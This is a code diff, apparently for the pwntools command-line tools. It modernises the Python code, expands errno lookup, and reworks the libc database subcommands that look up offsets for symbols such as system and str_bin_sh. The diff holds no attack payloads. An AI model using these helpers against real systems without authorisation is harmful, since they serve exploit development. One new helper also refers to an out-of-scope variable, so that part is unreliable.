def register(func, *args, **kwargs):
|
||||
_P = ParamSpec('_P')
|
||||
_R = TypeVar('_R')
|
||||
|
||||
def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int:
|
||||
"""register(func, *args, **kwargs)
|
||||
|
||||
Registers a function to be called on program termination. The function will
|
||||
@@ -47,7 +48,8 @@ def register(func, *args, **kwargs):
|
||||
Notice however that this will bind ``handler`` to the identifier and not the
|
||||
actual exit-handler. The exit-handler can then be unregistered with::
|
||||
|
||||
atexit.unregister(handler)
|
||||
ident = atexit.register(handler)
|
||||
atexit.unregister(ident)
|
||||
|
||||
This function is thread safe.
|
||||
|
||||
@@ -59,7 +61,7 @@ def register(func, *args, **kwargs):
|
||||
_handlers[ident] = (func, args, kwargs, vars(context))
|
||||
return ident
|
||||
|
||||
def unregister(ident):
|
||||
def unregister(ident: int) -> None:
|
||||
"""unregister(ident)
|
||||
|
||||
Remove the exit-handler identified by `ident` from the list of registered
|
||||
@@ -68,7 +70,7 @@ def unregister(ident):
|
||||
if ident in _handlers:
|
||||
del _handlers[ident]
|
||||
|
||||
def _run_handlers():
|
||||
def _run_handlers() -> None:
|
||||
"""_run_handlers()
|
||||
|
||||
Run registered exit-handlers. They run in the reverse order of which they
|
||||
@@ -90,14 +92,6 @@ def _run_handlers():
|
||||
# extract the current exception and rewind the traceback to where it
|
||||
# originated
|
||||
typ, val, tb = sys.exc_info()
|
||||
traceback.print_exception(typ, val, tb.tb_next)
|
||||
|
||||
# if there's already an exitfunc registered be sure to run that too
|
||||
if hasattr(sys, "exitfunc"):
|
||||
register(sys.exitfunc)
|
||||
|
||||
if sys.version_info[0] < 3:
|
||||
sys.exitfunc = _run_handlers
|
||||
else:
|
||||
std_atexit.register(_run_handlers)
|
||||
traceback.print_exception(typ, value=val, tb=tb.tb_next if tb else None)
|
||||
|
||||
std_atexit.register(_run_handlers)
|
||||
@@ -1,6 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
@@ -79,7 +76,8 @@ parser.add_argument(
|
||||
parser.add_argument(
|
||||
'-e',
|
||||
'--encoder',
|
||||
help="Specific encoder to use"
|
||||
metavar='X',
|
||||
help="Compatibility flag, ignored"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
@@ -137,4 +135,4 @@ def main(args):
|
||||
args.output.write(b'\n')
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,10 +1,7 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
from pwnlib.elf import ELF
|
||||
from pwn import *
|
||||
from pwnlib.commandline import common
|
||||
|
||||
parser = common.parser_commands.add_parser(
|
||||
@@ -15,7 +12,6 @@ parser = common.parser_commands.add_parser(
|
||||
parser.add_argument(
|
||||
'elf',
|
||||
nargs='*',
|
||||
type=argparse.FileType('rb'),
|
||||
help='Files to check'
|
||||
)
|
||||
parser.add_argument(
|
||||
@@ -23,19 +19,21 @@ parser.add_argument(
|
||||
nargs='*',
|
||||
dest='elf2',
|
||||
metavar='elf',
|
||||
type=argparse.FileType('rb'),
|
||||
help='File to check (for compatibility with checksec.sh)'
|
||||
)
|
||||
|
||||
def main(args):
|
||||
files = args.elf or args.elf2 or []
|
||||
files = args.elf or args.elf2 or []
|
||||
|
||||
if not files:
|
||||
parser.print_usage()
|
||||
return
|
||||
|
||||
for f in files:
|
||||
e = ELF(f.name)
|
||||
try:
|
||||
e = ELF(f)
|
||||
except Exception as e:
|
||||
print(f"{f}: {e}")
|
||||
|
||||
if __name__ == '__main__':
|
||||
common.main(__file__)
|
||||
common.main(__file__, main)
|
||||
@@ -25,8 +25,25 @@ parser = argparse.ArgumentParser(description='Pwntools Command-line Interface',
|
||||
prog='pwn')
|
||||
parser_commands = parser.add_subparsers(dest='command')
|
||||
|
||||
def main(file=sys.argv[0]):
|
||||
import pwnlib.commandline.main
|
||||
def main(file=sys.argv[0], command_main=None):
|
||||
name = os.path.splitext(os.path.basename(file))[0]
|
||||
if command_main is None:
|
||||
import importlib
|
||||
command_main = importlib.import_module('pwnlib.commandline.%s' % name).main
|
||||
sys.argv.insert(1, name)
|
||||
pwnlib.commandline.main.main()
|
||||
entrypoint({name: command_main})
|
||||
|
||||
def deprecated_main():
|
||||
file=sys.argv[0]
|
||||
name = os.path.splitext(os.path.basename(file))[0]
|
||||
import warnings
|
||||
warnings.warn("The '%s' command is deprecated and will be removed in a future version. Please use 'pwn %s' instead." % (name, name), DeprecationWarning, stacklevel=2)
|
||||
main(file)
|
||||
|
||||
def entrypoint(commands):
|
||||
if len(sys.argv) < 2:
|
||||
parser.print_usage()
|
||||
sys.exit()
|
||||
args = parser.parse_args()
|
||||
with context.local(log_console = sys.stderr):
|
||||
commands[args.command](args)
|
||||
@@ -1,6 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
import functools
|
||||
import re
|
||||
@@ -133,4 +130,4 @@ def main(args):
|
||||
print('(%s) == %s' % (' | '.join(k for v, k in good), args.constant))
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,8 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
import six
|
||||
import string
|
||||
import sys
|
||||
|
||||
@@ -43,15 +38,16 @@ parser.add_argument(
|
||||
help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
|
||||
)
|
||||
|
||||
group = parser.add_mutually_exclusive_group(required=False)
|
||||
group.add_argument(
|
||||
xgroup = parser.add_mutually_exclusive_group(required=False)
|
||||
xgroup.add_argument(
|
||||
'-l', '-o', '--offset', '--lookup',
|
||||
dest = 'lookup',
|
||||
type = str.encode,
|
||||
metavar = 'lookup_value',
|
||||
help = 'Do a lookup instead printing the alphabet',
|
||||
)
|
||||
|
||||
group.add_argument(
|
||||
xgroup.add_argument(
|
||||
'count',
|
||||
type=int,
|
||||
nargs='?',
|
||||
@@ -66,9 +62,6 @@ def main(args):
|
||||
if args.lookup:
|
||||
pat = args.lookup
|
||||
|
||||
if six.PY3:
|
||||
pat = bytes(pat, encoding='utf-8')
|
||||
|
||||
try:
|
||||
pat = int(pat, 0)
|
||||
pat = pack(pat, 'all')
|
||||
@@ -107,4 +100,4 @@ def main(args):
|
||||
out.write(b'\n')
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,6 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
@@ -102,4 +99,4 @@ def main(args):
|
||||
gdb.debug(target, gdbscript=gdbscript, sysroot=args.sysroot).interactive()
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,6 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
from pwn import *
|
||||
from pwnlib.commandline import common
|
||||
@@ -24,4 +21,4 @@ def main(args):
|
||||
ELF(e.path)
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,7 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
from __future__ import print_function
|
||||
|
||||
import argparse
|
||||
import re
|
||||
import string
|
||||
@@ -110,4 +106,4 @@ def main(args):
|
||||
print(disasm(dat, vma=safeeval.const(args.address)))
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,6 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import shutil
|
||||
from argparse import ArgumentParser
|
||||
from subprocess import CalledProcessError
|
||||
@@ -59,4 +56,4 @@ def main(a):
|
||||
print(diff(x, y))
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,6 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import sys
|
||||
|
||||
import pwnlib.args
|
||||
@@ -34,4 +31,4 @@ def main(a):
|
||||
getattr(sys.stdout, 'buffer', sys.stdout).write(elf.get_data())
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
+184
-29
@@ -1,9 +1,23 @@
|
||||
from __future__ import absolute_import, print_function
|
||||
"""Look up ``errno`` values for the architecture selected by ``-c``.
|
||||
|
||||
import argparse
|
||||
The examples below run in the documentation doctest suite.
|
||||
|
||||
>>> from pwnlib.context import context
|
||||
>>> from pwnlib.commandline.errno import _context_table
|
||||
>>> with context.local(arch='amd64', os='linux'):
|
||||
... _context_table()['ECONNRESET']
|
||||
104
|
||||
>>> with context.local(arch='mips', os='linux'):
|
||||
... _context_table()['ECONNRESET']
|
||||
131
|
||||
"""
|
||||
from argparse import Namespace
|
||||
from typing import Generator
|
||||
import os
|
||||
import errno
|
||||
|
||||
import pwnlib.constants as constants
|
||||
from pwnlib.context import context
|
||||
from pwnlib.commandline import common
|
||||
|
||||
parser = common.parser_commands.add_parser(
|
||||
@@ -13,37 +27,178 @@ parser = common.parser_commands.add_parser(
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
'error', help='Error message or value', type=str
|
||||
'error', help='Error message or value (errno number, errno name, or perror string)',
|
||||
nargs='?', type=str
|
||||
)
|
||||
parser.add_argument(
|
||||
'-l', '--list', action='store_true',
|
||||
help='List every known errno (number, name, perror string).'
|
||||
)
|
||||
parser.add_argument(
|
||||
'-s', '--search', action='store_true',
|
||||
help='Treat the argument as an errno name or perror substring and print every match.'
|
||||
)
|
||||
parser.add_argument(
|
||||
'-c', '--context',
|
||||
metavar = 'context',
|
||||
type = common.context_arg,
|
||||
help = 'Look the errno values up for this architecture or os, e.g. `-c aarch64`.',
|
||||
)
|
||||
|
||||
def main(args):
|
||||
try:
|
||||
value = int(args.error, 0)
|
||||
|
||||
if value < 0:
|
||||
value = -value
|
||||
|
||||
if 0x100000000 - value < 0x200:
|
||||
value = 0x100000000 - value
|
||||
|
||||
if value not in errno.errorcode:
|
||||
print("No errno for %s" % value)
|
||||
return
|
||||
|
||||
name = errno.errorcode[value]
|
||||
|
||||
except ValueError:
|
||||
name = args.error.upper()
|
||||
|
||||
if not hasattr(errno, name):
|
||||
print("No errno for %s" % name)
|
||||
return
|
||||
|
||||
value = getattr(errno, name)
|
||||
def _host_table() -> dict[str, int]:
|
||||
"""Return ``{name: value}`` for every errno the host standard library knows."""
|
||||
return {name: getattr(errno, name) for name in dir(errno)
|
||||
if name.isupper() and isinstance(getattr(errno, name), int)}
|
||||
|
||||
|
||||
print('#define', name, value)
|
||||
print(os.strerror(value))
|
||||
def _context_table() -> dict[str, int]:
|
||||
"""Return ``{name: value}`` for the errno numbers ``context`` uses."""
|
||||
if context.os == 'freebsd':
|
||||
module = getattr(constants, 'freebsd', None)
|
||||
else:
|
||||
module = getattr(getattr(constants, context.os, None), context.arch, None)
|
||||
|
||||
if module is None:
|
||||
return {}
|
||||
|
||||
table = {}
|
||||
|
||||
for name in _host_table():
|
||||
value = getattr(module, name, None)
|
||||
if value is not None:
|
||||
table[name] = int(getattr(value, 'value', value))
|
||||
|
||||
return table
|
||||
|
||||
|
||||
def _message(name: str) -> str:
|
||||
"""Return the perror string of ``name`` according to the host, or ``''``."""
|
||||
value = getattr(errno, name, None)
|
||||
if not isinstance(value, int):
|
||||
return ''
|
||||
|
||||
try:
|
||||
return os.strerror(value)
|
||||
except ValueError:
|
||||
return ''
|
||||
|
||||
|
||||
def _iter_known_errnos(table: dict[str, int]) -> Generator[tuple[int, str, str], None, None]:
|
||||
"""Yield ``(value, name, message)`` tuples sorted by numeric value.
|
||||
|
||||
Aliases sharing a number are reported once: the canonical name from
|
||||
`errno.errorcode` wins when it maps to the same value, otherwise the
|
||||
first name alphabetically does.
|
||||
|
||||
>>> with context.local(arch='aarch64', os='linux'):
|
||||
... [(value, name) for value, name, _ in _iter_known_errnos(_context_table())][:3]
|
||||
[(1, 'EPERM'), (2, 'ENOENT'), (3, 'ESRCH')]
|
||||
"""
|
||||
# ``errno.errorcode`` is the canonical name for a number, so prefer it over the
|
||||
# alphabetically first alias to keep the default listing identical to before.
|
||||
canonical = {value: name for value, name in errno.errorcode.items() if table.get(name) == value}
|
||||
seen = set()
|
||||
|
||||
for name, value in sorted(table.items(), key=lambda item: (item[1], item[0])):
|
||||
if value in seen:
|
||||
continue
|
||||
seen.add(value)
|
||||
name = canonical.get(value, name)
|
||||
yield value, name, _message(name)
|
||||
|
||||
|
||||
def _print_errno(value: int, name: str | None = None, message: str | None = None) -> None:
|
||||
if name is None:
|
||||
name = errno.errorcode.get(value, '')
|
||||
if message is None:
|
||||
message = os.strerror(value)
|
||||
if name:
|
||||
print('#define %s %d' % (name, value))
|
||||
else:
|
||||
print('#define <unknown> %d' % value)
|
||||
if message:
|
||||
print(message)
|
||||
|
||||
|
||||
def _search_errnos(needle: str, table: dict[str, int]) -> list[tuple[int, str, str]]:
|
||||
"""Return errnos whose name or ``strerror`` text contains ``needle``.
|
||||
|
||||
The match is case-insensitive, so ``pwn errno -c mips -s conn`` finds the
|
||||
connection-oriented errnos even when the host cannot spell them out.
|
||||
|
||||
>>> with context.local(arch='mips', os='linux'):
|
||||
... [(value, name) for value, name, _ in _search_errnos('econnreset', _context_table())]
|
||||
[(131, 'ECONNRESET')]
|
||||
"""
|
||||
needle = needle.lower()
|
||||
return [(v, n, m) for v, n, m in _iter_known_errnos(table)
|
||||
if needle in n.lower() or needle in m.lower()]
|
||||
|
||||
|
||||
def main(args: Namespace) -> None:
|
||||
if args.context is None:
|
||||
table = _host_table()
|
||||
else:
|
||||
table = _context_table()
|
||||
|
||||
if not table:
|
||||
print('No errno values known for %s/%s' % (context.os, context.arch))
|
||||
return
|
||||
|
||||
if args.list:
|
||||
for value, name, message in _iter_known_errnos(table):
|
||||
print('%-3d %-10s %s' % (value, name, message))
|
||||
return
|
||||
|
||||
if args.error is None:
|
||||
parser.error('the following arguments are required: error (or pass --list)')
|
||||
|
||||
if args.search:
|
||||
matches = _search_errnos(args.error, table)
|
||||
if not matches:
|
||||
print("No errno matched %r" % args.error)
|
||||
return
|
||||
for value, name, message in matches:
|
||||
_print_errno(value, name, message)
|
||||
print()
|
||||
return
|
||||
|
||||
try:
|
||||
value = int(args.error, 0)
|
||||
|
||||
if value < 0:
|
||||
value = -value
|
||||
|
||||
if 0x100000000 - value < 0x200:
|
||||
value = 0x100000000 - value
|
||||
|
||||
name = next((n for n, v in sorted(table.items()) if v == value), None)
|
||||
|
||||
if name is None:
|
||||
print("No errno for %s" % value)
|
||||
return
|
||||
|
||||
except ValueError:
|
||||
name = args.error.upper()
|
||||
value = table.get(name)
|
||||
|
||||
if value is None:
|
||||
# Fall back to a substring search against perror messages so
|
||||
# ``pwn errno 'Cannot allocate memory'`` resolves to ENOMEM.
|
||||
matches = _search_errnos(args.error, table)
|
||||
if not matches:
|
||||
print("No errno for %s" % args.error)
|
||||
return
|
||||
for value, name, message in matches:
|
||||
_print_errno(value, name, message)
|
||||
if len(matches) > 1:
|
||||
print()
|
||||
return
|
||||
|
||||
_print_errno(value, name, _message(name))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
common.main(__file__)
|
||||
common.main(__file__, main)
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
@@ -50,4 +47,4 @@ def main(args):
|
||||
print(encoded)
|
||||
|
||||
if __name__ == '__main__':
|
||||
common.main(__file__)
|
||||
common.main(__file__, main)
|
||||
+115
-74
@@ -1,8 +1,4 @@
|
||||
#!/usr/bin/env python
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
from __future__ import print_function
|
||||
|
||||
#!/usr/bin/env python3
|
||||
import re
|
||||
import shutil
|
||||
import sys
|
||||
@@ -37,19 +33,12 @@ lookup_parser.add_argument(
|
||||
)
|
||||
|
||||
lookup_parser.add_argument(
|
||||
'--download-libc',
|
||||
'-d', '--download-libc',
|
||||
action = 'store_true',
|
||||
default = False,
|
||||
help = 'Attempt to download the matching libc.so'
|
||||
)
|
||||
|
||||
lookup_parser.add_argument(
|
||||
'--unstrip',
|
||||
action = 'store_true',
|
||||
default = True,
|
||||
help = 'Attempt to unstrip the libc binary with debug symbols from a debuginfod server'
|
||||
)
|
||||
|
||||
lookup_parser.add_argument(
|
||||
'--no-unstrip',
|
||||
action = 'store_false',
|
||||
@@ -57,6 +46,14 @@ lookup_parser.add_argument(
|
||||
help = 'Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server'
|
||||
)
|
||||
|
||||
lookup_parser.add_argument(
|
||||
'--offline-only',
|
||||
action = 'store_true',
|
||||
default = False,
|
||||
dest = 'offline_only',
|
||||
help = 'Attempt to searching with offline only mode'
|
||||
)
|
||||
|
||||
hash_parser = libc_commands.add_parser(
|
||||
'hash',
|
||||
help = 'Display information of a libc version given an unique hash',
|
||||
@@ -80,19 +77,12 @@ hash_parser.add_argument(
|
||||
)
|
||||
|
||||
hash_parser.add_argument(
|
||||
'--download-libc',
|
||||
'-d', '--download-libc',
|
||||
action = 'store_true',
|
||||
default = False,
|
||||
help = 'Attempt to download the matching libc.so'
|
||||
)
|
||||
|
||||
hash_parser.add_argument(
|
||||
'--unstrip',
|
||||
action = 'store_true',
|
||||
default = True,
|
||||
help = 'Attempt to unstrip the libc binary with debug symbols from a debuginfod server'
|
||||
)
|
||||
|
||||
hash_parser.add_argument(
|
||||
'--no-unstrip',
|
||||
action = 'store_false',
|
||||
@@ -100,6 +90,14 @@ hash_parser.add_argument(
|
||||
help = 'Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server'
|
||||
)
|
||||
|
||||
hash_parser.add_argument(
|
||||
'--offline-only',
|
||||
action = 'store_true',
|
||||
default = False,
|
||||
dest = 'offline_only',
|
||||
help = 'Attempt to searching with offline only mode'
|
||||
)
|
||||
|
||||
file_parser = libc_commands.add_parser(
|
||||
'file',
|
||||
help = 'Dump information about a libc binary',
|
||||
@@ -130,25 +128,34 @@ file_parser.add_argument(
|
||||
file_parser.add_argument(
|
||||
'--unstrip',
|
||||
action = 'store_true',
|
||||
default = False,
|
||||
dest = 'unstrip',
|
||||
help = 'Attempt to unstrip the libc binary inplace with debug symbols from a debuginfod server'
|
||||
)
|
||||
|
||||
fetch_parser = libc_commands.add_parser(
|
||||
'fetch',
|
||||
help = 'Fetch libc database',
|
||||
description = 'Fetch libc database. If no argument passed, it will init and upgrade libc-database repository',
|
||||
)
|
||||
|
||||
fetch_parser.add_argument(
|
||||
'path',
|
||||
nargs = '?',
|
||||
default = context.local_libcdb,
|
||||
help = 'Set libc-database path, If it is empty, the default path will be `context.local_libcdb` (%s)' % context.local_libcdb
|
||||
)
|
||||
|
||||
fetch_parser.add_argument(
|
||||
'-u', '--update',
|
||||
metavar = 'update',
|
||||
nargs = '+',
|
||||
choices = ['all', 'ubuntu', 'debian', 'rpm', 'centos', 'arch', 'alpine', 'kali', 'parrotsec', 'launchpad'],
|
||||
help = 'Fetch the desired libc categories'
|
||||
)
|
||||
|
||||
common_symbols = ['dup2', 'printf', 'puts', 'read', 'system', 'write']
|
||||
|
||||
def find_libc(params):
|
||||
import requests
|
||||
url = "https://libc.rip/api/find"
|
||||
result = requests.post(url, json=params, timeout=20)
|
||||
log.debug('Request: %s', params)
|
||||
log.debug('Result: %s', result.json())
|
||||
if result.status_code != 200 or len(result.json()) == 0:
|
||||
log.failure("Could not find libc for %s on libc.rip", params)
|
||||
return []
|
||||
|
||||
return result.json()
|
||||
|
||||
def print_libc(libc):
|
||||
def print_libc_info(libc):
|
||||
log.info('%s', text.red(libc['id']))
|
||||
log.indented('\t%-20s %s', text.green('BuildID:'), libc['buildid'])
|
||||
log.indented('\t%-20s %s', text.green('MD5:'), libc['md5'])
|
||||
@@ -158,14 +165,39 @@ def print_libc(libc):
|
||||
for symbol in libc['symbols'].items():
|
||||
log.indented('\t%25s = %s', symbol[0], symbol[1])
|
||||
|
||||
def handle_remote_libc(args, libc):
|
||||
print_libc(libc)
|
||||
if args.download_libc:
|
||||
path = libcdb.search_by_build_id(libc['buildid'], args.unstrip)
|
||||
if path:
|
||||
if args.unstrip:
|
||||
libcdb.unstrip_libc(path)
|
||||
shutil.copy(path, './{}.so'.format(libc['id']))
|
||||
def print_libc_elf(exe):
|
||||
from hashlib import md5, sha1, sha256
|
||||
|
||||
log.info('%s', text.red(os.path.basename(exe.path)))
|
||||
|
||||
libc_version = get_libc_version(exe)
|
||||
if libc_version:
|
||||
log.indented('%-20s %s', text.green('Version:'), libc_version)
|
||||
|
||||
if exe.buildid:
|
||||
log.indented('%-20s %s', text.green('BuildID:'), enhex(exe.buildid))
|
||||
|
||||
log.indented('%-20s %s', text.green('MD5:'), md5(exe.data).hexdigest())
|
||||
log.indented('%-20s %s', text.green('SHA1:'), sha1(exe.data).hexdigest())
|
||||
log.indented('%-20s %s', text.green('SHA256:'), sha256(exe.data).hexdigest())
|
||||
|
||||
# Always dump the basic list of common symbols
|
||||
log.indented('%s', text.green('Symbols:'))
|
||||
synthetic_symbols = collect_synthetic_symbols(exe)
|
||||
|
||||
symbols = common_symbols + (args.symbols or []) + synthetic_symbols
|
||||
symbols.sort()
|
||||
for symbol in symbols:
|
||||
if symbol not in exe.symbols:
|
||||
log.indented('%25s = %s', symbol, text.red('not found'))
|
||||
else:
|
||||
log.indented('%25s = %#x', symbol, translate_offset(exe.symbols[symbol], args, exe))
|
||||
|
||||
def get_libc_version(exe):
|
||||
res = re.search(br'libc[ -](\d+\.\d+)', exe.data)
|
||||
if res:
|
||||
return res.group(1).decode()
|
||||
return None
|
||||
|
||||
def translate_offset(offs, args, exe):
|
||||
if args.offset:
|
||||
@@ -182,7 +214,7 @@ def collect_synthetic_symbols(exe):
|
||||
available_symbols.append('str_bin_sh')
|
||||
except StopIteration:
|
||||
pass
|
||||
|
||||
|
||||
libc_start_main_return = exe.libc_start_main_return
|
||||
if libc_start_main_return > 0:
|
||||
exe.symbols['__libc_start_main_ret'] = libc_start_main_return
|
||||
@@ -200,52 +232,61 @@ def main(args):
|
||||
if len(pairs) % 2 != 0:
|
||||
log.failure('Uneven number of arguments. Please provide "symbol offset" pairs')
|
||||
return
|
||||
|
||||
|
||||
symbols = {pairs[i]:pairs[i+1] for i in range(0, len(pairs), 2)}
|
||||
matched_libcs = find_libc({'symbols': symbols})
|
||||
matched_libcs = libcdb.search_by_symbol_offsets(symbols, offline_only=args.offline_only, return_raw=True)
|
||||
|
||||
if not matched_libcs:
|
||||
return
|
||||
|
||||
for libc in matched_libcs:
|
||||
handle_remote_libc(args, libc)
|
||||
print_libc_info(libc)
|
||||
if args.download_libc:
|
||||
path = libcdb.search_by_build_id(libc['buildid'], args.unstrip)
|
||||
if path:
|
||||
shutil.copy(path, './{}.so'.format(libc['id']))
|
||||
|
||||
elif args.libc_command == 'hash':
|
||||
inverted_map = {v: k for k, v in libcdb.MAP_TYPES.items()}
|
||||
hash_type = inverted_map.get(args.hash_type, args.hash_type)
|
||||
|
||||
for hash_value in args.hash_value:
|
||||
matched_libcs = find_libc({args.hash_type: hash_value})
|
||||
for libc in matched_libcs:
|
||||
handle_remote_libc(args, libc)
|
||||
path = libcdb.search_by_hash(hash_value, hash_type, unstrip=args.unstrip, offline_only=args.offline_only)
|
||||
exe = ELF(path, checksec=False)
|
||||
print_libc_elf(exe)
|
||||
|
||||
if args.download_libc:
|
||||
# if we cannot get actual libc version then copy with cache name
|
||||
shutil.copy(path, './libc-{}.so'.format(get_libc_version(exe) or Path(path).stem))
|
||||
|
||||
elif args.libc_command == 'file':
|
||||
from hashlib import md5, sha1, sha256
|
||||
for file in args.files:
|
||||
if not os.path.exists(file) or not os.path.isfile(file):
|
||||
log.failure('File does not exist %s', args.file)
|
||||
continue
|
||||
|
||||
|
||||
if args.unstrip:
|
||||
libcdb.unstrip_libc(file)
|
||||
if not libcdb.unstrip_libc(file):
|
||||
log.failure('Failed to unstrip libc binary %s', file)
|
||||
continue
|
||||
|
||||
exe = ELF(file, checksec=False)
|
||||
log.info('%s', text.red(os.path.basename(file)))
|
||||
print_libc_elf(ELF(file, checksec=False))
|
||||
|
||||
libc_version = re.search(br'libc[ -](\d+\.\d+)', exe.data)
|
||||
if libc_version:
|
||||
log.indented('%-20s %s', text.green('Version:'), libc_version.group(1).decode())
|
||||
elif args.libc_command == 'fetch':
|
||||
|
||||
if exe.buildid:
|
||||
log.indented('%-20s %s', text.green('BuildID:'), enhex(exe.buildid))
|
||||
log.indented('%-20s %s', text.green('MD5:'), md5(exe.data).hexdigest())
|
||||
log.indented('%-20s %s', text.green('SHA1:'), sha1(exe.data).hexdigest())
|
||||
log.indented('%-20s %s', text.green('SHA256:'), sha256(exe.data).hexdigest())
|
||||
if args.update:
|
||||
subprocess.check_call(['./get'] + args.update, cwd=args.path)
|
||||
|
||||
# Always dump the basic list of common symbols
|
||||
log.indented('%s', text.green('Symbols:'))
|
||||
synthetic_symbols = collect_synthetic_symbols(exe)
|
||||
else:
|
||||
if not Path(args.path).exists():
|
||||
if yesno("Would you like to initialize the libc-database repository? "
|
||||
"If the path already exists, this prompt will not display, and automatically upgrade repository."):
|
||||
log.waitfor("init libc-database repository")
|
||||
subprocess.check_call(['git', 'clone', 'https://github.com/niklasb/libc-database/', args.path])
|
||||
else:
|
||||
log.waitfor("upgrade libc-database repository")
|
||||
subprocess.check_call(['git', 'pull'], cwd=args.path)
|
||||
|
||||
symbols = common_symbols + (args.symbols or []) + synthetic_symbols
|
||||
symbols.sort()
|
||||
for symbol in symbols:
|
||||
if symbol not in exe.symbols:
|
||||
log.indented('%25s = %s', symbol, text.red('not found'))
|
||||
else:
|
||||
log.indented('%25s = %#x', symbol, translate_offset(exe.symbols[symbol], args, exe))
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,7 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
|
||||
import sys
|
||||
|
||||
from pwnlib.commandline import asm
|
||||
from pwnlib.commandline import checksec
|
||||
from pwnlib.commandline import common
|
||||
@@ -23,8 +19,7 @@ from pwnlib.commandline import template
|
||||
from pwnlib.commandline import unhex
|
||||
from pwnlib.commandline import update
|
||||
from pwnlib.commandline import version
|
||||
from pwnlib.commandline.common import parser
|
||||
from pwnlib.context import context
|
||||
from pwnlib.commandline.common import parser as parser
|
||||
|
||||
commands = {
|
||||
'asm': asm.main,
|
||||
@@ -50,12 +45,7 @@ commands = {
|
||||
}
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
parser.print_usage()
|
||||
sys.exit()
|
||||
args = parser.parse_args()
|
||||
with context.local(log_console = sys.stderr):
|
||||
commands[args.command](args)
|
||||
common.entrypoint(commands)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -1,6 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import signal
|
||||
@@ -109,4 +106,4 @@ def main(args):
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,6 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
|
||||
import pwnlib.args
|
||||
@@ -18,7 +15,7 @@ p = common.parser_commands.add_parser(
|
||||
g = p.add_argument_group("actions")
|
||||
g.add_argument('-b', '--build-id', help="Strip build ID", action='store_true')
|
||||
g.add_argument('-p', '--patch', metavar='FUNCTION', help="Patch function", action='append')
|
||||
p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout))
|
||||
p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout), help='Output file')
|
||||
p.add_argument('file', type=argparse.FileType('rb'))
|
||||
|
||||
def main(args):
|
||||
@@ -53,4 +50,4 @@ def main(args):
|
||||
args.output.write(result)
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,6 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
@@ -110,4 +107,4 @@ def main(args):
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,9 +1,5 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import six
|
||||
import sys
|
||||
import types
|
||||
|
||||
